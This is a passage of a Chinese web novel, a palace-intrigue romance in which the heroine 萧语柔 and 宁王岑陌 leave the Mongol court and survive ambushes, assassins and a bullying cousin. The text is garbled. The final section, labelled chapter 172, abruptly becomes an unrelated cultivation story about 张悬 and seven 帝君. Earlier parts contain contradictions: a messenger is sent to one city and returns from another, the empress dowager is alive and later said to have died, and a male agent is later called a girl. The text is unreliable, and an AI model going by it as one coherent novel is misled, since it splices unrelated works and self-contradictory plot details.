“只怕大晋的驯马师驾驭不了蒙古的马。”岑陌意有所指。 “自会派遣驯马师随行。” 岑陌这才露出满意之色:“蒙古果然是大晋最好的朋友。” 等岑陌离开,星阳那忍不住抱怨:“父汗何必对一个不受宠的王爷如此低声下气?” 可汗恨铁不成钢:“他掌管西北九州,一句话就能断了我们的商路。附近异族觊觎已久,若大晋显露与我们交恶之意,他们必会趁虚而入!” 帐外寒风呼啸,雪花飘落。星阳那站在原地,脸上火辣辣的疼。他望着岑陌离去的方向,眼中闪过一丝怨毒。 次日清晨,整个王庭都在为大晋使团的离开做准备。马蹄声、人声交织在一起,营地里一片忙碌。 星阳那站在高处,看着下方的景象。他精心挑选的铁骑正在集结,那些骏马和精锐战士都将成为岑陌的所有物。想到这里,他的拳头不由得攥紧。 “大王子。”一个低沉的声音从身后传来。 星阳那转身,是他的心腹阿炜。 “查清萧了吗?” 阿炜低声道:“是的。那个叫阿桐的确实是宁王的人,但他并非普通侍卫。据说是宁王亲自培养的细作。” 星阳那冷笑:“果然如此。” “大王子,我们要不要...”阿炜做了个抹脖子的动作。 星阳那摇头:“现在不行。岑陌那个疯子,若是知道阿桐死了,定会迁怒于整个王庭。” “那就这么算了?” “当然不会。”星阳那眯起眼睛,“等他们走远些,再做打算。” 临行前,可汗在中军大帐设宴为大晋使团送行。觥筹交错间,岑陌始终保持着优雅的姿态,仿佛对眼前的美酒佳肴毫无兴趣。 萧语柔坐在一旁,低垂着眼帘。她知道,这场宴会不过是另一场权力的博弈。 “玥裳。”可汗的声音传来,“你要好好照顾宁王。” 萧语柔抬头,对上可汗意味深长的目光:“是,父汗。” 岑陌端起酒杯,轻轻抿了一口:“公主放心,本王定会善待于你。” 话音刚落,帐外忽然传来一阵骚动。一个侍卫匆匆进来,在可汗耳边低语几句。可汗的脸色顿时变得难看起来。 “怎么了?”岑陌问道。 可汗强笑道:“无事,只是些小事。” 岑陌也不追问,只是淡淡道:“既然如此,那我们就此启程吧。” 两日后,大晋队伍终于启程。晨曦中,一队队骑兵列队整齐,马蹄踏在积雪上发出咯吱声。 可汗亲切地对萧语柔说:“玥裳,北境大漠的璀璨珍宝,要常回来看父汗啊。” 萧语柔只得假意应承,配合着演这出父女情深的戏码。她偷眼看向岑陌,却见他正望着远方,不知在想些什么。 寒风中,车驾渐行渐远,消失在茫茫雪原尽头。星阳那站在营地边缘,看着那支队伍离去,眼中闪过一丝阴郁。 不知过了多久,阿炜的声音从身后传来:“大王子,人已经安排好了。” 星阳那没有回头:“告诉他们,等队伍过了黑水河,就动手。” “是。”阿炜应声退下。 风雪渐大,很快就遮蔽了天际。星阳那转身走回营地,心中盘算着接下来的计划。岑陌,这个账我们慢慢算。 第一百六十七章 军情 马车轻轻晃动,萧语柔倚在车窗边,望着窗外飞逝的景色。深秋的风裹挟着零星枯叶,在空中打着旋儿,她不由得将披风裹得更紧了些。 萧瑾接过萧语柔递来的点心,“总算能溜回去了!姐姐这些糕点放了这么久还是这么香甜。” 自从空间的秘密在他们面前暴露后,萧语柔也不再遮遮掩掩了。每当在马车上休息时,她总会从戒指中取出各式美食与大家分享。渐渐地,连向来拘谨的阿莺也放开了许多,时不时还会主动讨要几块点心。 只有紫薇始终保持着婢女的本分,即便萧语柔将点心递到她面前,她也只是轻轻摇头,目光始终低垂。 “紫薇,你也尝尝。”萧语柔将一块桂花糕放在紫薇手中,“这是我特意为你准备的,知道你喜欢桂花的味道。” 紫薇犹豫片刻,终于抬起头,眼中闪过一丝感激:“多谢县主。” 跌跌撞撞地前行,终于到了西北九州。岑陌将从蒙古得来的马匹和铁骑留在襄州,便随着车驾继续东行。寒意渐起,萧语柔望着窗外飘落的枯叶,知道等回到龙都时,怕是已经入冬了。 为了照顾太后的身子,这一路行程比来时快了许多。除了钱涛因旧疾复发不得不与钱忠脱队之外,队伍几乎没有长时间停留。 车队行至一处山谷,前方斥候突然传来消息,说是发现可疑人马。岑陌立即下令加强戒备,让队伍放慢速度,谨防有人伏击。 “姐姐,”萧瑾握紧了剑柄,眉头微皱,“我总觉得不太对劲。” 萧语柔也察觉到了异样,她掀开帘子向外望去。远处山峦起伏,浓雾弥漫,视线所及之处尽是荒凉的景象。 半月后,车队终于在桐州暂歇。这里,也是长公主即将启程前往封地的地方。 桐州驿馆安顿下来后,太后召见了萧语柔。 “哀家这些日子,多亏有你照料。”太后拉着萧语柔的手,语气温和,“这一路上,你给哀家开的方玉郢很对症。” 萧语柔给太后诊过脉,说了几句话便退了出来。补充了粮食药材后,长公主的人马开始与大队伍分道扬镳。 “你总说身边无亲人相伴,人家也该告辞啦。”长公主看着岑陌,嘴角挂着意味深长的笑意,眼中却闪过一丝寒意。 岑陌面无表情地站在原地,仿佛没有听出她话中的讽刺:“姑姑慢走,待本王得闲,自会去探望。” 长公主听出他话中的警告意味,眸光愈发冰冷:“好陌儿,你且放心,你舅舅已经来信,想必此时已快到龙都了。” 此言一出,皇帝的脸色顿时阴沉下来。岑陌的舅舅,正是那位被赐死的洛贵妃的亲兄长。当年洛氏一族全部告老还乡,如今突然回京,显然是看中了岑陌的势力。 “不知所谓!”皇帝甩袖而去,脸上的怒意几乎要化作实质。 众臣见状,纷纷告退。空气中弥漫着一股令人窒息的压抑。 “在下感激姑姑赠予的厚礼。”岑陌冷笑一声,眼中闪过一丝危险的光芒。 “你若喜欢,本宫的心思也不算白费。”长公主意味深长地看了眼萧语柔,这才上车离去。 萧语柔暗暗握紧了手指,指甲几乎要陷入掌心。长公主显然还不死心,因为龙都那边迟迟没有传来她想要的消息。 “邬钧,晏澜。”岑陌沉声唤道,声音中带着一丝寒意。 “属下在。”两人立即上前应命。 “加强警戒,前后三十里必须有斥候巡逻,不得有误。尤其是山区要道,一定要仔细排查。” “王爷,属下能做什么?”谷柏闻言凑上前来。 岑陌瞥了他一眼:“告诉谷将军,提高警惕。这一路上,恐怕不会太平。” 萧语柔回到马车后,将玉髓参制成的续命丹分给了邬钧等人。这些丹药虽然比不上灵药,但在危急时刻也能救命。 夜幕降临,营地渐渐安静下来。然而这份宁静并没有持续多久,邬钧突然匆匆而来:“王爷,斥候失去联络,根据探子回报,敌军约有两万人马。” 岑陌眸光一凛,周身散发出凌厉的气势:“最近的城池?” “澜州城,但需渡河。”邬钧声音紧绷,“现在河水湍急,恐怕不易渡过。” “让晏澜持本王令牌去求援,你带人在前方山脉截住敌军,本王会从后方包抄。”岑陌迅速做出部署,眼中闪过一丝杀意。 邬钧领命而去,身影很快消失在夜色中。 有妃嫔见状不满,声音尖利:“宁王这是要抛下圣驾吗?难道连皇上的安危都不顾了吗?” 岑陌置若罔闻,只命人传话:“告诉玉麟卫,加快速度入山。时间就是生命,一刻也不能耽误。” 萧语柔掀开帘子,正见邬末匆匆而来。夜风吹动她的发丝,她的心跳得极快。 “王爷让县主随圣驾先行,不必担心。”邬末低声说道,“王爷说他很快就会追上来。” 萧语柔紧握车辕,心中焦急,却知道自己此时留下只会成为累赘。她的手心已经被汗水浸湿。 “姐姐,我去助王爷一臂之力。”萧瑾按着剑柄,眼中闪烁着坚定的光芒,“我不能让你置身险境。” “去吧,”萧语柔深吸一口气,强迫自己冷静下来,“杀退敌军,也是在保护我。只是...你一定要小心。” 萧瑾跃下马车,回头露出一个安慰的笑容:“姐姐在此稍候,我很快回来。” 说完,他的身影便消失在茫茫夜色中。萧语柔望着他离去的方向,心中泛起阵阵涟漪。夜风呼啸,仿佛在预示着即将到来的腥风血雨。 第一百六十八章 埋伏 岑陌带着人马离开后,谷长风父子接手了这支队伍的指挥权。营地里弥漫着一股压抑的气氛。 谷长风站在中军帐外,眉头越皱越紧,目光扫过远处起伏的山势。暮色渐沉,天边浮着几朵暗红的云彩,仿佛在预示着即将到来的血雨腥风。 “将军!宁王殿下让人传话,说已在前方设下三道防线。”一个士兵匆匆跑来回话道。 谷长风点点头,心中却难以平静。岑陌此举无疑是在为大队人马争取时间,但代价可能会很惨重。他正要开口询问详情,忽听一阵急促的马蹄声由远及近。 “报!”一道血迹斑斑的身影冲进营地,马背上的人摇摇欲坠,正是先前去沧州求援的晏澜。他翻身下马,单膝跪地,“前方...前方有埋伏,约莫三万人马!” 此言一出,在场众人无不变色。萧语柔站在不远处,只觉心头一紧,这个数字远超所有人的预期。她下意识攥紧了衣袖,指节因用力而发白。 “加上后方追兵的两万,竟有五万之众!”皇帝冷笑一声,眼中闪过一丝寒芒,声音里带着显而易见的怒意,“朕倒要看看,是哪个不知死活的东西,敢在这里设伏!” 谷长风额头渗出冷汗,他快步上前,单膝跪地:“皇上,沧州已不可去,请让微臣护送您和太后前往晏州。事不宜迟,应当即刻启程。” “父亲!”谷柏突然开口,声音里带着焦急,“那宁王爷怎么办?他刚刚才出去迎敌!我们不能就这样...” 话音未落,“啪”的一声脆响,谷长风一记耳光打在谷柏脸上。年轻的将领踉跄后退,脸颊瞬间红肿起来。 “混账东西!”谷长风怒目圆睁,“圣驾在此,保护皇上才是首要之事!你竟敢在此时妄议军机!” 萧语柔看着这对父子,心中五味杂陈。她能理解谷柏对岑陌的担忧,但在这种危急时刻,确实不该质疑父亲的决定。营地里的气氛越发凝重,连风吹过都带着刺骨的寒意。 皇帝的目光在父子二人身上停留片刻,最终挥了挥手:“谷将军说得对,先去晏州。凌将军安排些许兵卒,护送其他人随后跟上。” 太后闻言,立刻让梨兰嬷嬷去请萧语柔。“县主,随我们一道走吧。” 萧语柔站在原地,望着远方渐渐暗下的天色。若是岑陌能挡住敌军,后面这些人便能安然脱险。若是不能...她不敢再想下去。 “感恩娘娘恩典,语柔就留在这里吧。”她从袖中取出三枚血色药丸递给梨兰嬷嬷,“这是玉髓参所制,危急时可续命,请务必带在身边。” 梨兰嬷嬷接过药丸,只觉沉甸甸的,不只是重量,更是人情。她欲言又止,最终只是叹了口气,转身离去。 皇帝一行人离开后,队伍中开始出现骚动。有人抱着孩子哭喊,有人低声抱怨,更多的人脸上写满了恐惧。混乱在人群中蔓延,如同瘟疫般难以遏制。 萧语柔深吸一口气,策马来到怀远伯面前。她的面容在火把的映照下显得格外坚定:“伯爷,事态紧急,还请听语柔一言。” 怀远伯抬头看她,示意她继续说下去。 “这五万人马来得蹊跷,若是正规军队调动,不可能毫无风声。”萧语柔压低声音分析道,“我怀疑,其中大多是流民假扮。他们的目标应该是我们的财物,若我们扔下辎重快速撤离,说不定能借此脱身。” 怀远伯眼前一亮:“县主说得有理!这些乱民向来贪婪成性,若有利可图,必定会自相残杀!” 很快,在怀远伯的带头下,众人纷纷抛弃财物,轻装上路。马车被放弃,箱笼被砸开,金银珠宝洒落一地。 远处传来阵阵厮杀声,萧语柔握紧缰绳,手心已是一片冰凉。空间里的毒针毒药,是她最后的倚仗。她知道,一旦使用这些东西,就再也没有回头路可走。 夜色越发深沉,仿佛要将一切都吞噬。马蹄声疾,一行人在暮色中狂奔。身后不时传来凄厉的惨叫,那是落在后面的人被追兵追上的声音。有人哭喊着求饶,有人怒骂着反抗,但很快就归于寂静。 正如萧语柔所料,地上散落的金银确实分散了追兵的注意力。不少人停下来抢夺财物,甚至自相残杀。贪婪和暴力在黑暗中肆意滋长,却给了他们逃命的机会。 萧语柔回头望去,只见远处火光冲天,喊杀声此起彼伏。她不知道岑陌现在如何,也不知道皇帝一行是否安全。唯一能做的,就是继续前行。 马背上的人群越来越少,有的是体力不支掉队,有的是主动放弃。萧语柔看着身边的人一个个消失在夜色中,心中泛起阵阵苦涩。这一夜太长,长得仿佛永远没有尽头。 她的手中紧握着缰绳,指节因用力而发白。空间里的毒药似乎在呼唤她,诱惑她使用这最后的手段。但她知道,一旦出手,就再也无法回头。 夜色渐深,萧语柔的心却越发清明。她知道,这一夜过后,什么都将不同。无论是她的身份,还是她的处境,抑或是她与岑陌之间那些说不清道不明的情愫,都将在这场变故中改变。 远处传来一声悠长的号角声,不知是敌是友。萧语柔握紧了缰绳,继续在这漫长的黑夜中前行。 第一百六十九章 赶尽杀绝 斥候的脚步声匆匆而至,在寂静的夜色中格外清晰。他单膝跪地,声音中带着一丝难以掩饰的惶恐:“主子,皇帝已经逃脱了。” 寒风吹动着带墨色面具男人的黑色衣袍。他居高临下地俯视着跪地的斥候。片刻沉默后冷冷道:“无妨,晏州那边自有人等着他。没了岑陌,这些人都是案板上的鱼肉。” 话音未落,又一阵急促的脚步声传来:“主子!岑陌杀出重围了!” “什么?”带墨色面具男人的声音陡然拔高,眼中闪过一丝难以置信的震惊。他的手指无意识地抓紧了衣袖,指节泛白,“我布置的两万精锐,他怎么可能......” 斥候低着头,声音颤抖:“岑陌并未按我们预想的方向行动。他派人回桐州调来了五十里外的守城军,自己则率领二百鞑靼铁骑直插敌阵。那支铁骑,如同一把锋利的尖刀,生生撕开了我们的包围圈。” 带墨色面具男人的呼吸变得急促,他转身望向远处的战场。火光冲天,喊杀声此起彼伏,硝烟弥漫中隐约可见一支骑兵正在敌阵中来回冲杀。 萧语柔站在马车旁,远远望着那道浴血奔来的身影。岑陌一身戎装,手中长剑寒光凛凛,仿佛从地狱归来的修罗。鲜血染红了他的铠甲,却衬得他愈发威武不凡。 她的心揪了起来,这样的岑陌,才是众人期待的救星吧。可为什么,她的心里却涌起一阵说不清道不明的酸涩? 岑陌的剑法快若闪电,所过之处尸横遍野。那二百鞑靼铁骑紧随其后,如同一道黑色的洪流,所向披靡。敌军的阵型被冲得七零八落,惨叫声不绝于耳。 “一个不留!”岑陌的声音冷冽如冰,在战场上回荡。 马车中传来几声不满的议论。 “何必赶尽杀绝......” “他们不过是些可怜人......” “王爷未免太过残忍......” 萧语柔听不下去了,转身掀开车帘,冷声道:“若不是王爷心狠手辣,现在死的就是你们了。这些人既然敢来劫持我们,就该想到这个下场。” 几位贵女脸色涨红,不敢再出声。显然对萧语柔的话无法反驳。 岑陌策马来到马车旁,转头看向萧语柔。他眼中的杀意渐渐褪去,取而代之的是一丝温和:“阿柔现在倒是伶牙俐齿了。” “我可不是伶牙俐齿,”萧语柔哼了一声,故意板着脸,“我是个杠精,谁还敢逼逼赖赖,我咬死她。” 岑陌闻言轻笑,目光在她脸上停留了片刻。萧语柔被他看得有些不自在,别过头去不敢与他对视。 怀远伯这时走了过来,向岑陌深深一礼:“王爷,后续事宜就交给老臣处理吧。这些叛军的尸首需要妥善处理,还要安抚附近的百姓。” 岑陌点头,最后看了萧语柔一眼,便策马离去。他的背影挺拔如松,丝毫看不出曾经双腿不良于行的模样。 众人这才惊觉,岑陌居然能骑马了!那不良于行的双腿竟不知何时痊愈。贵女们窃窃私语,眼中满是惊讶和钦佩。 船行至江心,突然船底传来一阵诡异的响动。还未等众人反应过来,水下跃出无数黑衣刺客。他们手持利刃,动作迅捷如鬼魅,转眼间就将甲板上的侍卫尽数放倒。 萧语柔躲在船舱一角,看着与晏澜缠斗的那名刺客。那人的身手莫名熟悉,每一招每一式都仿佛在哪里见过。她心中警铃大作,这场遭遇战恐怕没那么简单。 水花四溅,刀光剑影。晏澜虽然武功高强,但面对这群训练有素的刺客,也渐渐落入下风。 萧语柔的目光在船舱内扫视,试图寻找可以利用的武器。就在这时,她注意到那名熟悉的刺客似乎有意无意地在看她。那人的眼神让她心底发寒,仿佛被毒蛇盯上的猎物。 船身突然剧烈摇晃,原来是水下又钻出几名刺客,正在破坏船底。江水汹涌而入,船舱内顿时一片混乱。 “保护王妃!”晏澜大喊一声,想要冲到萧语柔身边,却被几名刺客死死缠住。 萧语柔咬紧牙关,她知道现在不是惊慌失措的时候。那个熟悉的刺客,那些诡异的身手,还有这场蓄谋已久的伏击......所有的线索都指向一个她不愿相信的真相。 “表哥,扯掉他的面具!”萧语柔急切地喊道,声音里带着几分颤抖。雨水打湿了她的衣裳,发丝凌乱地贴在脸颊上。 那蒙面杀手闻言,眼中寒光乍现,竟不顾与晏澜的缠斗,猛地转身朝萧语柔扑来。他的动作快若闪电,手中寒光凛冽的短刃直指萧语柔咽喉。 “小心!”晏澜厉声大喊,手中长刀横劈而出。 萧语柔连退数步,脚下已是浸满了水的甲板。湿滑的木板让她险些失去平衡,心跳如擂鼓,冷汗顺着脊背流下。这杀手的身手不凡,招招致命。 兵刃相撞,发出刺耳的金属碰撞声。晏澜虎口发麻,却死死咬牙支撑。他能感受到对手招式中蕴含的巨大力道,这绝非寻常刺客能有的实力。 突然怀远伯一声大喝,“快跳水!” 只见彬州岸边,一排弓箭手整齐列队,手中弓箭已然拉满,箭头上跳动着摄人的火光。 “噗通”声此起彼伏,众人纷纷跳入漆黑的江水中。寒意瞬间侵袭全身,萧语柔忍不住打了个寒颤。那些刺客也想效仿逃生,却被谷柏带人死死堵住。 刀光剑影中,鲜血在甲板上蔓延。谷柏的剑法凌厉,每一剑都直取要害。 晏澜与蒙面杀手的战斗愈发激烈,两人你来我往,招式凌厉。渐渐地,晏澜开始占据上风,那蒙面杀手的动作也逐渐变得迟缓。 就在此时,岸边突然传来一阵凄厉的惨叫声,打破了夜的寂静。萧语柔循声望去,只见阿桐带着一队人马不知何时已经悄然上岸,从背后偷袭了那些弓箭手。 刀光闪过,鲜血飞溅。阿桐的身影在夜色中如同幽灵,每一次出手都带走一条性命。那些弓箭手猝不及防,转眼间便倒下大半。 “总算安全了。”阿莺游到萧语柔身边颤抖的说道。 第一百七十章 担心 萧语柔看着岸边的阿桐,心中五味杂陈。那个平日里看起来天真烂漫的小姑娘,此刻却展现出如此凌厉的杀伐之气。这样的反差,让她一时难以接受。 水中的紫薇也游到了主仆二人身边,三人暂时找到了安全的位置。江水冰冷刺骨,但此刻却没人顾得上这些。 彬州州牧擦了擦额头的冷汗,终于等到自己的心腹带人赶到。虽然众人此刻狼狈不堪,但总算是逃过一劫。他的目光扫过船上的厮杀,又看了看水中的众人,眉头紧锁。 萧语柔却无暇顾及其他,她的心思全在岑陌身上。此刻的他是否安全?是否也遭遇了类似的伏击?种种担忧在心头萦绕,让她几乎喘不过气来。 入夜后,彬州州牧将自己的府邸让出,安置众人。这一次的遭遇,让所有人都收起了之前的傲慢,再没有人敢耍什么脾气。大家都明白,在生死面前,那些身份地位都显得那么微不足道。 暴雨不知何时开始下起来,雨点打在窗棂上发出密集的声响。仿佛上天也要将这一天的血腥与杀戮冲刷干净。 萧语柔独自坐在窗前,听着外面的雨声,思绪却飘向远方。这一路上遭遇的种种凶险,让她不敢想象岑陌此刻的处境。每当闭上眼睛,那些刺客的身影就会浮现在脑海中。 “小姐,您该休息了。”紫薇端着一碗热气腾腾的安神汤走进来,语气中带着关切。 萧语柔摇摇头,目光依旧望着窗外:“我睡不着。” “小姐放心,宁王爷福大命大,一定没事的。”阿莺在一旁小声安慰道。她知道小姐此刻最担心的是什么。 萧语柔勉强露出一丝笑容:“但愿如此。”她的手指无意识地绞着衣角,显示出内心的不安。 夜越来越深,雨声却越发大了。豆大的雨点打在屋檐上,发出噼里啪啦的声响。萧语柔望着窗外的雨帘,心中默默祈祷:岑陌,你一定要平安。 雨夜漫长,萧语柔几乎整夜未眠。直到次日清晨,好消息终于传来——岑陌不仅安然无恙,还在危急时刻救驾有功。 这个消息如同一剂强心剂,让萧语柔紧绷的神经终于放松下来。整个人瞬间轻松了许多,积压的疲惫感也随之涌上来。她回到床榻上,沾枕即睡。 等她再次醒来时,已是次日近午。宁夫人派人来传话,说是由凌小将军护送,走水路与睿王汇合后入京。 “这样也好。”萧语柔点点头,心中盘算着接下来的路程。虽然依旧充满未知,但至少不用再为岑陌担心。 紫薇一边为她梳发,一边轻声说道:“小姐放心,有凌小将军在,定然安全。这一路上他已经多次展现出过人的武艺。” 萧语柔轻轻“嗯”了一声。她知道,这一路的凶险还未结束,但至少,最让她牵挂的人已经平安。她抬手摸了摸发间的玉簪,那是岑陌送她的定情信物。 窗外的雨已经停了,萧语柔站在窗前,深深吸了一口气。她能感觉到,这一路的波折还远未结束,但只要岑陌平安,她就有勇气继续走下去。 府中的下人们开始收拾行装,为即将开始的水路行程做准备。萧语柔看着众人忙碌的身影,心中暗自盘算着接下来可能遇到的危险。这一次的刺杀显然不是偶然,背后必定另有隐情。 阿莺收拾着小姐的行李,时不时偷眼看向萧语柔。她能感觉到小姐的心事重重,却也知道自己帮不上什么忙。 “小姐,”紫薇突然开口,“您说那个蒙面杀手会不会还活着?” 萧语柔蹙眉:“不知道。”她回想起那人的身手,确实非同一般。如果他真的逃脱了,恐怕后面还会再次出现。 府邸外传来马蹄声,谷柏带着一队士兵来到。他们将护送萧语柔一行人前往码头,开始水路行程。 萧语柔最后看了一眼这座暂时栖身的府邸,跟随众人登上马车。她知道,接下来的路途依然充满未知与危险,但至少,她不是一个人在战斗。 马车缓缓驶出府门,向着码头方向行去。萧语柔掀开车帘一角,看着渐渐远去的澜州城墙。这座城市里发生的一切,都将成为她记忆中挥之不去的一页。 雪花纷飞,轻盈飘落。 萧语柔推开窗户,青石板路上已覆盖一层薄薄的白霜。远处枝头,几只麻雀扑棱着翅膀,惊得落桂纷纷飘旋而下。寒风裹挟着细碎的雪花钻入屋内,带来一丝凉意。 她伸手接住一片雪花,看着它在掌心融化。昨日血腥厮杀的记忆如潮水般涌来,那些刀光剑影,惨叫声,还有满地的尸体... 萧语柔喃喃自语道,“这雪下得可真是时候。把所有的痕迹都掩盖了。” 冷冽的风吹拂面颊,她闭上眼,试图平复内心的波澜。昨日那场混战中,她亲手结果了三个刺客。虽说是为了自保,可那鲜血溅到脸上的温热触感,仍让她心有余悸。 “县主起身了?” 宁夫人温和的声音传来,打断了萧语柔的思绪。她回过头,只见宁夫人提着食盒走进屋内,身后跟着两个端着托盘的丫鬟。 宁夫人示意丫鬟将食物摆上桌,“这雪天寒气重,我让厨房准备了些暖身的吃食。先用些早膳吧。” 萧语柔道了声谢,在桌前坐下。宁夫人亲自为她盛了碗老鸭汤,汤色清澈,飘着几片青葱和枸杞。 “昨日受惊,今日要吃些清淡的,好好调养。”宁夫人轻声叮嘱,眼中满是关切,“这汤是用老母鸭熬的,加了些当归和红枣,暖胃养血。” 萧语柔端起碗,轻轻抿了一口。温热的汤汁滑入喉咙,带来一丝暖意。她抬眼看向宁夫人,这位素未谋面的长辈,竟对她如此用心。 “夫人费心了。”她放下碗,真诚道谢。 宁夫人笑着摆手:“你我虽无血缘,但你与谷柏交好,我便把你当自家孩子看待。况且...”她顿了顿,“你如今孤身一人在外,我这做长辈的,自然要多加照看。” 萧语柔心中一暖。自从太后驾崩,未婚夫战死,她便成了众矢之的。朝中不少人等着看她的笑话,想要将她这个异族女子除之而后快。 第一百七十一章 吕夫人 用过早膳,宁夫人再三嘱托,说谷柏和怀远伯府那边已在安排船只,待一切妥当,便可启程上京。 萧语柔明白宁夫人的用意。没了太后和未婚夫的庇护,独自一人难免遭人非议。有宁夫人这样的长辈陪伴,可免去诸多麻烦。 于是她欣然应下,决定这几日就安心待在屋内,教导丫鬟识字,研究从蒙古得来的药材。 午后,阳光透过窗棂洒进屋内,在地上投下斑驳的光影。萧语柔正专注调配一种驱虫丹丸,忽听得一阵急促的脚步声由远及近。 抬头望去,只见丫鬟阿莺慌慌张张跑进屋来,眼眶通红,泪水在眼中打转。 “小姐,紫薇姐姐被人欺负了!”阿莺上气不接下气地说道。 萧语柔眉头一皱。紫薇出身长公主府,手段本事都比寻常丫鬟高明许多,怎会轻易受人欺负? “慢慢说,到底怎么回事?”她放下手中的药材,沉声问道。 阿莺抽噎着解释:“紫薇姐姐去厨房取炖好的梨水,不料柳府表公子突然冲出,撞得紫薇姐姐站立不稳,梨水洒了些在他手上。那表公子就大喊大叫,说梨水有毒,要替小姐处置紫薇姐姐。” “柳府表公子?”萧语柔眼中闪过一丝寒意,“可是那个自称睿王表弟的?” 阿莺点头:“就是他,那位爱仗势欺人的柳三公子。” 萧语柔冷笑一声。这柳三公子仗着自己是睿王的表弟,雅贵妃的侄子,在府中横行霸道,没想到今日竟敢动到她的人头上。 “走,去看看。”她披上斗篷,带着阿莺往花园方向而去。 远远望去,只见紫薇站在湖边,发髻凌乱,衣裳上沾着水渍,但腰板挺得笔直。对面站着个身量不高的男子,正在颐指气使。 萧语柔躲在假山后,仔细听着两人的对话。 “...你少拿宁王来吓唬我。”那男子尖声叫道,面容扭曲,“你家县主,不过混了个县主的身份罢了。再说了,你算哪根葱?婢子,不过是个低等生物罢了!你这玩意儿把本少爷烫伤了还敢嘴硬,这碗梨汤里明显下了毒,为了县主的安危考虑,本少爷绝不允许你靠近她。” 萧语柔冷笑一声。这柳家表公子,果真是个不知天高地厚的东西。 就在此时,紫薇突然纵身一跃,跳入湖中。寒冬腊月的湖水,激起一圈圈涟漪。 那柳家表公子先是一愣,随即大笑起来:“都别动,紫薇那贱人知罪难逃自行了断,跟我们可没...哎哟...” 话音未落,只见一道人影闪过,那柳家表公子竟被人一脚踹进了湖里。他扑腾着落入水中,激起一大片水花。 萧语柔惊讶地看向出手之人。那是个陌生的妇人,约莫二十出头的年纪,面容清丽,气质高贵,一身月白色锦袍更显得她气度不凡。 “是怀远伯府的少夫人,出身诗礼传家的吕氏。”阿莺小声解释道。 只见那吕少夫人冷冷扫视了一圈围上来的下人,淡淡开口:“柳家少爷救澜宁郡主身边婢女时跌入水中,还不赶紧去救人,是等他挂了好分家产吗?” 萧语柔忍不住笑出声来。这位吕少夫人,倒是个有趣的人物。 柳家下人如梦初醒,纷纷跳入水中。紫薇很快被救上岸,浑身湿透,瑟瑟发抖。那柳家表公子却还在水里扑腾,狼狈不堪。 萧语柔眼中闪过一丝寒意,大步走出。她径直来到湖边,抬脚便踩在那柳家表公子刚冒出水面的脑袋上。 “啊这...”吕少夫人惊呼一声,显然没料到萧语柔会如此直接。 萧语柔微微一笑:“我观柳家公子虚火太旺,泡个冷水澡强身健体。柳公子想必明白我这个医者的良苦用心?” “萧语柔!”那柳家表公子咬牙切齿,“我表弟可是睿王,家中表姑乃是雅贵妃娘娘,我表姑夫是...” “我就是看在睿王和雅贵妃的面子上,刚帮你医好病。”萧语柔打断他的话,眼中寒光闪烁,“不然,我每次外出之际,必定随身携带蒙古父汗赐予的那柄冰寒利刃,据说锋芒无双,一旦见血便无法愈合。” 柳家表公子脸色煞白,再不敢多言。周围的下人也噤若寒蝉,不敢上前。 一旁的吕少夫人看着萧语柔,眼中闪过惊讶之色。她原本以为这位澜宁郡主不过是个沽名钓誉之辈,没想到竟是如此果决狠辣的性子。 “少夫人。”萧语柔收回脚,转身向吕少夫人郑重行礼,“多谢出手相助。” 吕少夫人笑道:“你在龙都名头不小,从前我还以为你不过是个爱出风头的跳梁小丑,这下可算是见识到了,方知谣言有误。语柔妹妹,若是无事,来寒舍喝盏茶如何。” 萧语柔欣然应允。两人相视一笑,携手离去,留下一众狼狈不堪的柳家人在身后。 萧语柔站在船头,凉风拂面,心中却无半点轻松。江面波光粼粼,倒映着天边残阳,将她清瘦的身影拉得很长。 枝夫人又去找宁夫人诉苦,这已是家常便饭了。 “这死丫头,这死丫头...”枝夫人咬牙切齿道。 宁夫人赶忙说到:“枝夫人若是担心令郎,不如让他好生养着。这一路上风餐露宿的,怕是身子骨受不住。” 这话无疑是在暗示枝夫人收敛些,毕竟萧语柔背后站着宁王府。枝夫人气得浑身发抖,却无可奈何。 这一举动无疑向众人传达了一个信息:萧语柔不好惹。 第一百七十二章 信任 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 